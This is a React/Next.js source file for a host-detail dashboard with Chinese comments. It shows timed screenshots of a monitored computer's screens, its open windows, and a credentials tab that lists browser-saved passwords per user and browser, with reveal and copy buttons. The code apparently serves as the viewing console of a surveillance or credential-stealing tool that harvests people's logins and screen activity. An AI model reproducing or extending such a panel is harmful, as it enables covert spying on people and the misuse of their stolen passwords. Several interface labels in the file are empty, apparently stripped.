1331 lines
53 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

"use client";
import React, { useState, useEffect, useRef, useMemo, useCallback } from 'react';
import { useParams, useRouter } from 'next/navigation';
import {
ArrowLeft,
RefreshCcw,
ChevronDown,
User,
Globe,
Link,
Clipboard,
ShieldAlert,
Loader2,
Star,
Video
} from 'lucide-react';
import { format, differenceInMinutes } from 'date-fns';
import TimelineSlider from './components/TimelineSlider';
import RecordDatePicker from './components/RecordDatePicker';
interface Screenshot {
fileId: string;
filename: string;
monitorName: string;
}
interface Window {
title: string;
path: string;
memory: number;
}
interface ScreenRecord {
id: string;
timestamp: string;
isStarred: boolean;
windows: Window[];
screenshots: Screenshot[];
}
interface TimeDistributionPoint {
count: number;
timestamp: number;
}
interface Password {
value: string;
timestamp: string;
}
interface Credential {
// 后端有的可能返回 _id有的可能返回 id这里都兼容
_id?: string;
id?: string;
hostname: string;
username: string;
browser: string;
url: string;
login: string;
passwords: Password[];
lastSyncTime: Date;
}
interface BrowserGroup {
name: string;
credentials: Credential[];
}
interface UserGroup {
username: string;
browsers: BrowserGroup[];
total: number;
lastSyncTime?: string;
}
interface Segment {
start: number;
end: number;
active: boolean;
}
interface Marker {
time: number;
label?: string;
active?: boolean;
}
export default function HostDetail() {
const params = useParams();
const router = useRouter();
const hostname = params.hostname as string;
// 状态管理
const [activeTab, setActiveTab] = useState('screenshots');
const [timeDistribution, setTimeDistribution] = useState<TimeDistributionPoint[]>([]);
const [records, setRecords] = useState<ScreenRecord[]>([]);
const [selectedRecord, setSelectedRecord] = useState<ScreenRecord | null>(null);
const [loadingDistribution, setLoadingDistribution] = useState(false);
const [loadingRecords, setLoadingRecords] = useState(false);
const [showDetailTimeline, setShowDetailTimeline] = useState(false);
const [lastUpdate, setLastUpdate] = useState<string | null>(null);
// 星标相关状态
const [starredRecords, setStarredRecords] = useState<ScreenRecord[]>([]);
const [loadingStarred, setLoadingStarred] = useState(false);
const [updatingStars, setUpdatingStars] = useState<Set<string>>(new Set());
// 凭据相关状态
const [credentials, setCredentials] = useState<Credential[]>([]);
const [loadingCredentials, setLoadingCredentials] = useState(false);
const [expandedUsers, setExpandedUsers] = useState<string[]>([]);
const [expandedBrowsers, setExpandedBrowsers] = useState<string[]>([]);
const [expandedCredentials, setExpandedCredentials] = useState<string[]>([]);
const [revealedPasswords, setRevealedPasswords] = useState<string[]>([]);
// 生成视频相关状态
const [generatingVideo, setGeneratingVideo] = useState(false);
// 日历和滑块状态
const [selectedDate, setSelectedDate] = useState<string | null>(null);
const [timeRange, setTimeRange] = useState({ min: 0, max: 0 });
const [hourlySliderValue, setHourlySliderValue] = useState(0);
const [detailedSliderValue, setDetailedSliderValue] = useState(0);
// 播放控制
const [currentFrameIndex, setCurrentFrameIndex] = useState(-1);
const [autoPlay, setAutoPlay] = useState(false);
const [autoPlaySpeed, setAutoPlaySpeed] = useState(100);
const [imagesLoadedCount, setImagesLoadedCount] = useState(0);
const [imageAspectRatio, setImageAspectRatio] = useState(16 / 9);
const [loadingImageIds, setLoadingImageIds] = useState<Set<string>>(new Set());
const autoPlayTimer = useRef<NodeJS.Timeout | null>(null);
const wheelDeltaAccumulator = useRef(0);
// 格式化内存大小
const formatMemory = (bytes: number | string) => {
bytes = typeof bytes === 'string' ? parseInt(bytes, 10) : bytes;
const units = ['B', 'KB', 'MB', 'GB'];
let size = bytes;
let unitIndex = 0;
while (size >= 1024 && unitIndex < units.length - 1) {
size /= 1024;
unitIndex++;
}
return `${size.toFixed(1)} ${units[unitIndex]}`;
};
// 格式化日期
const formatDate = (date: string, type: 'full' | 'short' = 'full') => {
if (type === 'short') {
return format(new Date(date), 'MM-dd HH:mm');
}
return format(new Date(date), 'yyyy-MM-dd HH:mm:ss');
};
// 获取时间分布数据
const fetchTimeDistribution = async () => {
try {
setLoadingDistribution(true);
const response = await fetch(`/hosts/${hostname}/time-distribution`);
if (!response.ok) throw new Error('获取时间分布数据失败');
const data = await response.json();
setTimeDistribution(data.distribution);
} catch (error) {
console.error('获取时间分布数据失败:', error);
} finally {
setLoadingDistribution(false);
}
};
// 获取星标记录
const fetchStarredRecords = async () => {
try {
setLoadingStarred(true);
const response = await fetch(`/hosts/${hostname}/starred`);
if (!response.ok) throw new Error('获取星标记录失败');
const data = await response.json();
setStarredRecords(data.records);
} catch (error) {
console.error('获取星标记录失败:', error);
} finally {
setLoadingStarred(false);
}
};
// 切换星标状态
const toggleRecordStar = async (recordId: string) => {
if (updatingStars.has(recordId)) return;
try {
setUpdatingStars(prev => new Set(prev).add(recordId));
const response = await fetch(`/api/records/${recordId}/star`, {
method: 'PATCH'
});
if (!response.ok) throw new Error('切换星标状态失败');
const data = await response.json();
// 更新当前记录列表中的星标状态
setRecords(prev => prev.map(record =>
record.id === recordId
? { ...record, isStarred: data.isStarred }
: record
));
// 更新选中记录的星标状态
if (selectedRecord && selectedRecord.id === recordId) {
setSelectedRecord(prev => prev ? { ...prev, isStarred: data.isStarred } : null);
}
// 如果在星标页面,更新星标记录列表
if (activeTab === 'starred') {
if (data.isStarred) {
// 如果变为星标,重新获取星标列表
fetchStarredRecords();
} else {
// 如果取消星标,从列表中移除
setStarredRecords(prev => prev.filter(record => record.id !== recordId));
}
}
} catch (error) {
console.error('切换星标状态失败:', error);
} finally {
setUpdatingStars(prev => {
const newSet = new Set(prev);
newSet.delete(recordId);
return newSet;
});
}
};
// 批量操作星标记录
const batchToggleStars = async (recordIds: string[], action: 'star' | 'unstar') => {
try {
const response = await fetch(`/hosts/${hostname}/starred`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
action,
recordIds
})
});
if (!response.ok) throw new Error('批量操作星标失败');
const data = await response.json();
const isStarred = action === 'star';
// 更新当前记录列表中的星标状态
setRecords(prev => prev.map(record =>
recordIds.includes(record.id)
? { ...record, isStarred }
: record
));
// 更新选中记录的星标状态(如果存在)
if (selectedRecord && recordIds.includes(selectedRecord.id)) {
setSelectedRecord(prev => prev ? { ...prev, isStarred } : null);
}
// 如果在星标页面,重新获取星标记录列表
if (activeTab === 'starred') {
fetchStarredRecords();
}
return data;
} catch (error) {
console.error('批量操作星标失败:', error);
throw error;
}
};
// 获取凭据数据
const fetchCredentials = async () => {
try {
setLoadingCredentials(true);
const response = await fetch(`/hosts/${hostname}/credentials`);
if (!response.ok) throw new Error('获取凭据数据失败');
const data = await response.json();
setCredentials(data);
if (data.length > 0) {
const firstUser = data[0].username;
if (!expandedUsers.includes(firstUser)) {
setExpandedUsers([firstUser]);
}
}
} catch (error) {
console.error('获取凭据数据失败:', error);
} finally {
setLoadingCredentials(false);
}
};
// 获取小时记录
const fetchHourlyRecords = async (startTime: number, endTime: number) => {
try {
setLoadingRecords(true);
setShowDetailTimeline(true);
const response = await fetch(
`/hosts/${hostname}/screenshots?startTime=${startTime}&endTime=${endTime}`
);
if (!response.ok) throw new Error('获取记录数据失败');
const data = await response.json();
setRecords(data.records.reverse());
setLastUpdate(data.lastUpdate);
setTimeRange({ min: startTime * 1000, max: endTime * 1000 });
requestAnimationFrame(() => {
setSelectedRecord(data.records[0]);
});
} catch (error) {
console.error('获取记录数据失败:', error);
} finally {
setLoadingRecords(false);
}
};
// 生成视频
const generateVideo = async () => {
if (!showDetailTimeline || !timeRange.min || !timeRange.max) {
alert('请先选择时间范围');
return;
}
try {
setGeneratingVideo(true);
const startTime = Math.floor(timeRange.min / 1000);
const endTime = Math.floor(timeRange.max / 1000);
const videoUrl = `/api/generate/video?hostname=${encodeURIComponent(hostname)}&startTime=${startTime}&endTime=${endTime}`;
// 在新标签页中打开视频
window.open(videoUrl, '_blank');
} catch (error) {
console.error('生成视频失败:', error);
alert('生成视频失败,请稍后重试');
} finally {
setGeneratingVideo(false);
}
};
// 组织凭据数据按用户分组
const credentialsByUser = useMemo<UserGroup[]>(() => {
const userMap = new Map<string, Credential[]>();
credentials.forEach(cred => {
if (!userMap.has(cred.username)) {
userMap.set(cred.username, []);
}
userMap.get(cred.username)!.push(cred);
});
const result: UserGroup[] = [];
userMap.forEach((userCreds, username) => {
const latestSyncTime = userCreds.reduce((latest, cred) => {
const credTime = new Date(cred.lastSyncTime);
return credTime > latest ? credTime : latest;
}, new Date(0)).toISOString();
const browserMap = new Map<string, Credential[]>();
userCreds.forEach(cred => {
if (!browserMap.has(cred.browser)) {
browserMap.set(cred.browser, []);
}
browserMap.get(cred.browser)!.push(cred);
});
const browsers: BrowserGroup[] = [];
browserMap.forEach((browserCreds, browserName) => {
browsers.push({
name: browserName,
credentials: browserCreds
});
});
result.push({
username,
browsers,
total: userCreds.length,
lastSyncTime: latestSyncTime
});
});
return result;
}, [credentials]);
// 日历相关计算
const dailyCounts = useMemo(() => {
const map: Record<string, number> = {};
timeDistribution.forEach(point => {
const d = new Date(point.timestamp * 1000);
const dateStr = `${d.getFullYear()}-${(d.getMonth() + 1).toString().padStart(2, '0')}-${d.getDate().toString().padStart(2, '0')}`;
map[dateStr] = (map[dateStr] || 0) + point.count;
});
return map;
}, [timeDistribution]);
// 小时分布滑块相关计算
const hourlyMinTime = useMemo(() => {
if (selectedDate) {
const [year, month, day] = selectedDate.split('-').map(Number);
const dayStart = new Date(year, month - 1, day);
return dayStart.getTime();
}
if (timeDistribution.length === 0) return Date.now();
const minSec = Math.min(...timeDistribution.map(d => d.timestamp));
return minSec * 1000;
}, [selectedDate, timeDistribution]);
const hourlyMaxTime = useMemo(() => {
if (selectedDate) {
const [year, month, day] = selectedDate.split('-').map(Number);
const dayStart = new Date(year, month - 1, day);
const dayEnd = new Date(dayStart);
dayEnd.setDate(dayStart.getDate() + 1);
return dayEnd.getTime();
}
if (timeDistribution.length === 0) return Date.now();
const maxSec = Math.max(...timeDistribution.map(d => d.timestamp));
return (maxSec + 3599) * 1000;
}, [selectedDate, timeDistribution]);
const hourlySegments = useMemo(() => {
const segments: Segment[] = [];
if (selectedDate) {
const [year, month, day] = selectedDate.split('-').map(Number);
const dayStart = new Date(year, month - 1, day);
const startSec = Math.floor(dayStart.getTime() / 1000);
const dayEnd = new Date(dayStart);
dayEnd.setDate(dayEnd.getDate() + 1);
const endSec = Math.floor(dayEnd.getTime() / 1000);
for (let t = startSec; t < endSec; t += 3600) {
const segStart = t * 1000;
const segEnd = (t + 3600) * 1000;
const data = timeDistribution.find(d => d.timestamp >= t && d.timestamp < t + 3600);
segments.push({
start: segStart,
end: segEnd,
active: !!data && data.count > 0
});
}
} else {
if (timeDistribution.length === 0) return segments;
const startSec = Math.min(...timeDistribution.map(d => d.timestamp));
const endSec = Math.max(...timeDistribution.map(d => d.timestamp));
for (let t = startSec; t <= endSec; t += 3600) {
const segStart = t * 1000;
const segEnd = (t + 3600) * 1000;
const data = timeDistribution.find(d => d.timestamp === t);
segments.push({
start: segStart,
end: segEnd,
active: data ? data.count > 0 : false
});
}
}
return segments;
}, [selectedDate, timeDistribution]);
// 详细时间点标记
const detailedMarkers = useMemo(() => {
return records.map(record => ({
time: new Date(record.timestamp).getTime(),
label: format(new Date(record.timestamp), 'HH:mm:ss'),
active: true
}));
}, [records]);
// 事件处理函数
const onHourlySliderChange = (newValue: number) => {
const selectedSec = Math.floor(newValue / 3600000) * 3600;
// 使用 setTimeout 避免在渲染过程中更新状态
setTimeout(() => {
setHourlySliderValue(newValue);
fetchHourlyRecords(selectedSec, selectedSec + 3600);
}, 0);
};
const onDetailedSliderChange = (newValue: number) => {
if (records.length === 0) return;
const targetTime = newValue;
let closestRecord = records[0];
let minDiff = Math.abs(new Date(closestRecord.timestamp).getTime() - targetTime);
for (const record of records) {
const diff = Math.abs(new Date(record.timestamp).getTime() - targetTime);
if (diff < minDiff) {
minDiff = diff;
closestRecord = record;
}
}
// 使用 setTimeout 避免在渲染过程中更新状态
setTimeout(() => {
setSelectedRecord(closestRecord);
setDetailedSliderValue(newValue);
}, 0);
};
// 展开/折叠功能
const toggleUserExpanded = (username: string) => {
if (expandedUsers.includes(username)) {
setExpandedUsers(expandedUsers.filter(u => u !== username));
} else {
setExpandedUsers([...expandedUsers, username]);
}
};
const toggleBrowserExpanded = (browserKey: string) => {
if (expandedBrowsers.includes(browserKey)) {
setExpandedBrowsers(expandedBrowsers.filter(b => b !== browserKey));
} else {
setExpandedBrowsers([...expandedBrowsers, browserKey]);
}
};
const toggleCredentialExpanded = (credId: string) => {
if (expandedCredentials.includes(credId)) {
setExpandedCredentials(expandedCredentials.filter(c => c !== credId));
} else {
setExpandedCredentials([...expandedCredentials, credId]);
}
};
const revealPassword = (passwordKey: string) => {
if (!revealedPasswords.includes(passwordKey)) {
setRevealedPasswords([...revealedPasswords, passwordKey]);
}
};
const copyToClipboard = async (text: string) => {
try {
await navigator.clipboard.writeText(text);
} catch (err) {
console.error('复制失败:', err);
}
};
// 播放控制
const nextFrame = () => {
if (currentFrameIndex < records.length - 1) {
setCurrentFrameIndex(currentFrameIndex + 1);
setSelectedRecord(records[currentFrameIndex + 1]);
} else {
setAutoPlay(false);
}
stopAutoPlayTimer();
};
const prevFrame = () => {
if (currentFrameIndex > 0) {
setCurrentFrameIndex(currentFrameIndex - 1);
setSelectedRecord(records[currentFrameIndex - 1]);
}
stopAutoPlayTimer();
};
const toggleAutoPlay = () => {
setAutoPlay(!autoPlay);
};
const startAutoPlayTimer = useCallback(() => {
if (autoPlay) {
autoPlayTimer.current = setTimeout(() => {
nextFrame();
}, autoPlaySpeed);
}
}, [autoPlay, autoPlaySpeed, currentFrameIndex, records.length]);
const stopAutoPlayTimer = () => {
if (autoPlayTimer.current) {
clearTimeout(autoPlayTimer.current);
autoPlayTimer.current = null;
}
};
const onImageLoad = (event: React.SyntheticEvent<HTMLImageElement>, fileId: string) => {
setImagesLoadedCount(prev => prev + 1);
const imgEl = event.target as HTMLImageElement;
if (imgEl.naturalHeight !== 0) {
setImageAspectRatio(imgEl.naturalWidth / imgEl.naturalHeight);
}
setLoadingImageIds(prev => {
const next = new Set(prev);
next.delete(fileId);
return next;
});
};
const onImageError = (fileId: string) => {
setLoadingImageIds(prev => {
const next = new Set(prev);
next.delete(fileId);
return next;
});
};
// 键盘快捷键处理
useEffect(() => {
const handleKeyPress = (event: KeyboardEvent) => {
// 防止在输入框中触发快捷键
if (event.target instanceof HTMLInputElement || event.target instanceof HTMLTextAreaElement) {
return;
}
switch (event.code) {
case 'Space':
event.preventDefault();
toggleAutoPlay();
break;
case 'ArrowLeft':
event.preventDefault();
prevFrame();
break;
case 'ArrowRight':
event.preventDefault();
nextFrame();
break;
case 'KeyS':
event.preventDefault();
if (selectedRecord) {
toggleRecordStar(selectedRecord.id);
}
break;
}
};
document.addEventListener('keydown', handleKeyPress);
return () => {
document.removeEventListener('keydown', handleKeyPress);
};
}, [selectedRecord, toggleAutoPlay, prevFrame, nextFrame, toggleRecordStar]);
// 滚轮事件处理
useEffect(() => {
const WHEEL_THRESHOLD = 20; // 累计多少像素后才切换(可调整)
const handleWheel = (event: WheelEvent) => {
// 累计水平滚动距离
wheelDeltaAccumulator.current += event.deltaX;
// 检查是否超过阈值
if (Math.abs(wheelDeltaAccumulator.current) >= WHEEL_THRESHOLD) {
if (wheelDeltaAccumulator.current < 0) {
// 向左滚动,上一帧
prevFrame();
} else {
// 向右滚动,下一帧
nextFrame();
}
// 重置累计器
wheelDeltaAccumulator.current = 0;
}
};
document.addEventListener('wheel', handleWheel, { passive: true });
return () => {
document.removeEventListener('wheel', handleWheel);
// 清理累计器
wheelDeltaAccumulator.current = 0;
};
}, [prevFrame, nextFrame]);
// Effects
useEffect(() => {
fetchTimeDistribution();
fetchCredentials();
}, [hostname]);
useEffect(() => {
if (activeTab === 'starred') {
fetchStarredRecords();
}
}, [activeTab, hostname]);
useEffect(() => {
if (!selectedDate && Object.keys(dailyCounts).length > 0) {
const dates = Object.keys(dailyCounts).sort();
if (dates.length > 0) {
setSelectedDate(dates[0]);
}
}
}, [dailyCounts, selectedDate]);
useEffect(() => {
setHourlySliderValue(hourlyMinTime);
}, [hourlyMinTime]);
useEffect(() => {
if (selectedDate) {
const activeSegment = hourlySegments.find(s => s.active);
const newValue = activeSegment ? activeSegment.start + 1800000 : hourlyMinTime;
setHourlySliderValue(newValue);
onHourlySliderChange(newValue);
}
}, [selectedDate, hourlySegments, hourlyMinTime]);
useEffect(() => {
setDetailedSliderValue(timeRange.min);
}, [timeRange.min]);
useEffect(() => {
setImagesLoadedCount(0);
if (selectedRecord) {
const idx = records.findIndex(rec => rec.timestamp === selectedRecord.timestamp);
setCurrentFrameIndex(idx);
setDetailedSliderValue(new Date(selectedRecord.timestamp).getTime());
}
if (autoPlay) {
startAutoPlayTimer();
}
}, [selectedRecord, records, autoPlay, startAutoPlayTimer]);
useEffect(() => {
if (selectedRecord) {
setLoadingImageIds(new Set(selectedRecord.screenshots.map(s => s.fileId)));
} else {
setLoadingImageIds(new Set());
}
}, [selectedRecord]);
useEffect(() => {
if (autoPlay) {
stopAutoPlayTimer();
startAutoPlayTimer();
}
}, [autoPlay, autoPlaySpeed, startAutoPlayTimer]);
return (
<div className="min-h-screen bg-gray-50 dark:bg-gray-900 overflow-x-hidden">
<div className="max-w-8xl mx-auto py-6 px-4 sm:px-6 lg:px-8">
{/* 头部导航 */}
<div className="flex items-center justify-between mb-8">
<div>
<button
onClick={() => router.back()}
className="inline-flex items-center text-gray-600 dark:text-gray-400 hover:text-gray-900 dark:hover:text-white"
>
<ArrowLeft className="h-5 w-5 mr-2" />
</button>
<h1 className="text-3xl font-semibold text-gray-900 dark:text-white mt-2">
{decodeURI(hostname)}
</h1>
</div>
{lastUpdate && (
<div className="text-sm text-gray-500 dark:text-gray-400">
: {formatDate(lastUpdate)}
</div>
)}
</div>
{/* 选项卡导航 */}
<div className="mb-6 border-b border-gray-200 dark:border-gray-700">
<nav className="-mb-px flex space-x-8">
<button
onClick={() => setActiveTab('screenshots')}
className={`py-2 px-1 border-b-2 font-medium text-sm ${activeTab === 'screenshots'
? 'border-blue-600 text-blue-600'
: 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
}`}
>
线
</button>
<button
onClick={() => setActiveTab('starred')}
className={`py-2 px-1 border-b-2 font-medium text-sm flex items-center ${activeTab === 'starred'
? 'border-blue-600 text-blue-600'
: 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
}`}
>
<Star className="h-4 w-4 mr-1" />
</button>
<button
onClick={() => setActiveTab('credentials')}
className={`py-2 px-1 border-b-2 font-medium text-sm ${activeTab === 'credentials'
? 'border-blue-600 text-blue-600'
: 'border-transparent text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-300 hover:border-gray-300 dark:hover:border-gray-600'
}`}
>
</button>
</nav>
</div>
{/* 截图时间线选项卡 */}
{activeTab === 'screenshots' && (
<div>
{/* 小时分布滑块(时间分布) */}
<div className="mb-8">
<div className="flex justify-between items-center mb-4">
<h2 className="text-lg font-medium text-gray-900 dark:text-white"></h2>
<button
onClick={fetchTimeDistribution}
className="p-2 rounded hover:bg-gray-100 dark:hover:bg-gray-800"
>
<RefreshCcw className={`h-5 w-5 text-gray-600 dark:text-gray-400 ${loadingDistribution ? 'animate-spin' : ''}`} />
</button>
</div>
<RecordDatePicker
value={selectedDate}
dailyCounts={dailyCounts}
onChange={setSelectedDate}
/>
{hourlySegments.length > 0 ? (
<div className="mt-4">
<TimelineSlider
minTime={hourlyMinTime}
maxTime={hourlyMaxTime}
value={hourlySliderValue}
mode="segments"
segments={hourlySegments}
onChange={onHourlySliderChange}
/>
</div>
) : (
<div className="text-gray-500 dark:text-gray-400 mt-4">...</div>
)}
</div>
{/* 详细时间点滑块 */}
{showDetailTimeline && (
<div className="mb-8">
<div className="flex justify-between items-center mb-4">
<h2 className="text-lg font-medium text-gray-900 dark:text-white"></h2>
<div className="flex items-center gap-2">
<button
onClick={generateVideo}
disabled={generatingVideo}
className="flex items-center gap-2 px-3 py-2 bg-green-600 hover:bg-green-700 disabled:bg-green-400 text-white text-sm rounded focus:outline-none transition-colors"
title="生成视频"
>
{generatingVideo ? (
<Loader2 className="h-4 w-4 animate-spin" />
) : (
<Video className="h-4 w-4" />
)}
{generatingVideo ? '生成中...' : '生成视频'}
</button>
<button
onClick={() => {
const selectedSec = Math.floor(hourlySliderValue / 3600000) * 3600;
fetchHourlyRecords(selectedSec, selectedSec + 3600);
}}
className="p-2 rounded hover:bg-gray-100 dark:hover:bg-gray-800"
title="刷新"
>
<RefreshCcw className={`h-5 w-5 text-gray-600 dark:text-gray-400 ${loadingRecords ? 'animate-spin' : ''}`} />
</button>
</div>
</div>
{records.length > 0 ? (
<TimelineSlider
minTime={timeRange.min}
maxTime={timeRange.max}
value={detailedSliderValue}
mode="ticks"
markers={detailedMarkers}
onChange={onDetailedSliderChange}
/>
) : (
<div className="text-gray-500 dark:text-gray-400">...</div>
)}
</div>
)}
{/* 图片预览区域及控制按钮 */}
{selectedRecord && (
<div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
{
!(navigator as any).connection?.saveData &&
records.map(record => record.screenshots).flat()
.filter((_, index) => Math.abs(index - currentFrameIndex) <= 20)
.map(screenshot => <link rel="preload" key={screenshot.fileId} href={`/screenshots/${screenshot.fileId}`} as="image" />)
}
{/* 图片预览区域 */}
{selectedRecord.screenshots.map((screenshot, sIndex) => (
<div key={sIndex} className="relative mb-6">
<div
className="relative w-full"
style={{ aspectRatio: imageAspectRatio }}
>
<img
src={`/screenshots/${screenshot.fileId}`}
alt={screenshot.monitorName}
className="absolute top-0 left-0 w-full h-full object-contain shadow-sm hover:shadow-md transition-shadow"
onLoad={(e) => onImageLoad(e, screenshot.fileId)}
onError={() => onImageError(screenshot.fileId)}
/>
{loadingImageIds.has(screenshot.fileId) && (
<div className="absolute top-2 right-2 bg-black/40 rounded-full p-2">
<Loader2 className="h-5 w-5 text-white animate-spin" />
</div>
)}
</div>
{/* 图片说明 */}
<div className="absolute bottom-4 left-4 bg-black/40 dark:bg-gray-900/40 text-white px-2 py-1 rounded">
<div className="text-sm">{screenshot.monitorName}</div>
<div className="text-xs">
{new Date(selectedRecord.timestamp).toLocaleString()}
</div>
</div>
{/* 左侧点击区域 - 上一帧 */}
<div
onPointerDown={(e) => { e.preventDefault(); prevFrame(); }}
onTouchStart={(e) => e.preventDefault()}
className="absolute bottom-0 left-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer"
/>
{/* 右侧点击区域 - 下一帧 */}
<div
onPointerDown={(e) => { e.preventDefault(); nextFrame(); }}
onTouchStart={(e) => e.preventDefault()}
className="absolute bottom-0 right-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer"
/>
</div>
))}
{/* 控制按钮区域 */}
<div className="bg-gray-50 dark:bg-gray-700/50 rounded-xl p-4 mb-6 backdrop-blur-sm border border-gray-200/50 dark:border-gray-600/50">
<div className="flex flex-col sm:flex-row items-center justify-center gap-4">
{/* 速度控制 */}
<div className="flex items-center gap-3 bg-white dark:bg-gray-800 rounded-lg px-4 py-2.5 shadow-sm border border-gray-200 dark:border-gray-600">
<span className="text-sm font-medium text-gray-700 dark:text-gray-300 min-w-max"></span>
<div className="flex items-center gap-2">
<input
type="number"
value={autoPlaySpeed}
onChange={(e) => setAutoPlaySpeed(Number(e.target.value))}
className="w-20 text-sm px-3 py-1.5 border border-gray-300 dark:border-gray-500 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500 focus:border-transparent bg-white dark:bg-gray-700 text-gray-900 dark:text-white transition-colors"
min="0"
max="2000"
step="50"
/>
<span className="text-sm text-gray-500 dark:text-gray-400 min-w-max"></span>
</div>
</div>
{/* 播放控制按钮 */}
<button
onClick={toggleAutoPlay}
className={`flex items-center gap-2 px-6 py-2.5 rounded-lg font-medium text-sm transition-all duration-200 shadow-sm ${autoPlay
? 'bg-red-500 hover:bg-red-600 text-white shadow-red-500/25'
: 'bg-blue-500 hover:bg-blue-600 text-white shadow-blue-500/25'
} hover:shadow-lg hover:scale-105 focus:outline-none focus:ring-2 focus:ring-offset-2 ${autoPlay ? 'focus:ring-red-500' : 'focus:ring-blue-500'
}`}
>
{!autoPlay ? (
<>
<svg className="w-4 h-4" fill="currentColor" viewBox="0 0 20 20">
<path fillRule="evenodd" d="M10 18a8 8 0 100-16 8 8 0 000 16zM9.555 7.168A1 1 0 008 8v4a1 1 0 001.555.832l3-2a1 1 0 000-1.664l-3-2z" clipRule="evenodd" />
</svg>
</>
) : (
<>
<svg className="w-4 h-4" fill="currentColor" viewBox="0 0 20 20">
<path fillRule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zM7 8a1 1 0 012 0v4a1 1 0 11-2 0V8zm5-1a1 1 0 00-1 1v4a1 1 0 102 0V8a1 1 0 00-1-1z" clipRule="evenodd" />
</svg>
</>
)}
</button>
{/* 星标按钮 */}
<button
onClick={() => toggleRecordStar(selectedRecord.id)}
disabled={updatingStars.has(selectedRecord.id)}
className={`flex items-center gap-2 px-4 py-2.5 rounded-lg font-medium text-sm transition-all duration-200 shadow-sm border ${selectedRecord.isStarred
? 'bg-yellow-50 hover:bg-yellow-100 dark:bg-yellow-900/20 dark:hover:bg-yellow-900/30 text-yellow-700 dark:text-yellow-400 border-yellow-200 dark:border-yellow-800 shadow-yellow-500/20'
: 'bg-white hover:bg-gray-50 dark:bg-gray-800 dark:hover:bg-gray-700 text-gray-600 dark:text-gray-400 border-gray-200 dark:border-gray-600 hover:text-yellow-600 dark:hover:text-yellow-400'
} ${updatingStars.has(selectedRecord.id)
? 'opacity-50 cursor-not-allowed'
: 'hover:scale-105 hover:shadow-lg focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-yellow-500'
}`}
title={selectedRecord.isStarred ? '取消星标' : '添加星标'}
>
{updatingStars.has(selectedRecord.id) ? (
<>
<Loader2 className="h-4 w-4 animate-spin" />
</>
) : (
<>
<Star className={`h-4 w-4 ${selectedRecord.isStarred ? 'fill-current' : ''}`} />
{selectedRecord.isStarred ? '已收藏' : '收藏'}
</>
)}
</button>
</div>
{/* 快捷键提示 */}
<div className="mt-3 pt-3 border-t border-gray-200 dark:border-gray-600">
<div className="flex flex-wrap justify-center gap-4 text-xs text-gray-500 dark:text-gray-400">
<span className="flex items-center gap-1">
<kbd className="px-1.5 py-0.5 bg-gray-200 dark:bg-gray-600 rounded text-xs"></kbd>
/
</span>
<span className="flex items-center gap-1">
<kbd className="px-1.5 py-0.5 bg-gray-200 dark:bg-gray-600 rounded text-xs">/</kbd>
/
</span>
<span className="flex items-center gap-1">
<kbd className="px-1.5 py-0.5 bg-gray-200 dark:bg-gray-600 rounded text-xs">S</kbd>
</span>
</div>
</div>
</div>
{/* 窗口信息 */}
<div className="w-full">
<h3 className="text-lg font-medium text-gray-900 dark:text-white mb-3"></h3>
<div className="bg-gray-50 dark:bg-gray-700 rounded-md p-4">
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-4">
{selectedRecord.windows.map((window, index) => (
<div key={index} className="p-4 bg-white dark:bg-gray-800 rounded-md shadow-sm">
<div className="space-y-2">
<div className="font-medium text-gray-900 dark:text-white">
{window.title}
</div>
<div className="text-sm text-gray-500 dark:text-gray-400 break-all">
{window.path}
</div>
<div className="text-sm flex items-center text-gray-600 dark:text-gray-400">
: {formatMemory(window.memory)}
</div>
</div>
</div>
))}
</div>
</div>
</div>
</div>
)}
</div>
)}
{/* 星标记录选项卡 */}
{activeTab === 'starred' && (
<div className="bg-white dark:bg-gray-800 rounded-lg shadow-sm p-6">
<div className="flex items-center justify-between mb-6">
<h2 className="text-xl font-medium text-gray-900 dark:text-white flex items-center">
<Star className="h-6 w-6 mr-2 text-yellow-500" />
</h2>
<button
onClick={fetchStarredRecords}
className="px-3 py-1.5 bg-blue-600 hover:bg-blue-700 text-white text-sm rounded focus:outline-none flex items-center"
>
<RefreshCcw className={`h-4 w-4 mr-1 ${loadingStarred ? 'animate-spin' : ''}`} />
</button>
</div>
{/* 加载状态 */}
{loadingStarred ? (
<div className="flex justify-center py-12">
<div className="animate-pulse flex flex-col items-center">
<Loader2 className="h-8 w-8 text-blue-600 animate-spin" />
<p className="mt-2 text-gray-500 dark:text-gray-400">...</p>
</div>
</div>
) : starredRecords.length === 0 ? (
<div className="py-12 flex flex-col items-center justify-center">
<Star className="h-12 w-12 text-gray-400 mb-3" />
<p className="text-gray-500 dark:text-gray-400 mb-1"></p>
<p className="text-sm text-gray-400 dark:text-gray-500">线</p>
</div>
) : (
<div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6">
{starredRecords.map((record) => (
<div key={record.id} className="border border-gray-200 dark:border-gray-700 rounded-lg overflow-hidden hover:shadow-md transition-shadow">
{/* 缩略图 */}
{record.screenshots.length > 0 && (
<div className="aspect-video bg-gray-100 dark:bg-gray-700">
<img
src={`/screenshots/${record.screenshots[0].fileId}`}
alt={record.screenshots[0].monitorName}
className="w-full h-full object-contain"
/>
</div>
)}
{/* 记录信息 */}
<div className="p-4">
<div className="flex items-center justify-between mb-2">
<div className="text-sm font-medium text-gray-900 dark:text-white">
{formatDate(record.timestamp, 'short')}
</div>
<button
onClick={() => toggleRecordStar(record.id)}
disabled={updatingStars.has(record.id)}
className="text-yellow-500 hover:text-yellow-600 p-1"
>
{updatingStars.has(record.id) ? (
<Loader2 className="h-4 w-4 animate-spin" />
) : (
<Star className="h-4 w-4 fill-current" />
)}
</button>
</div>
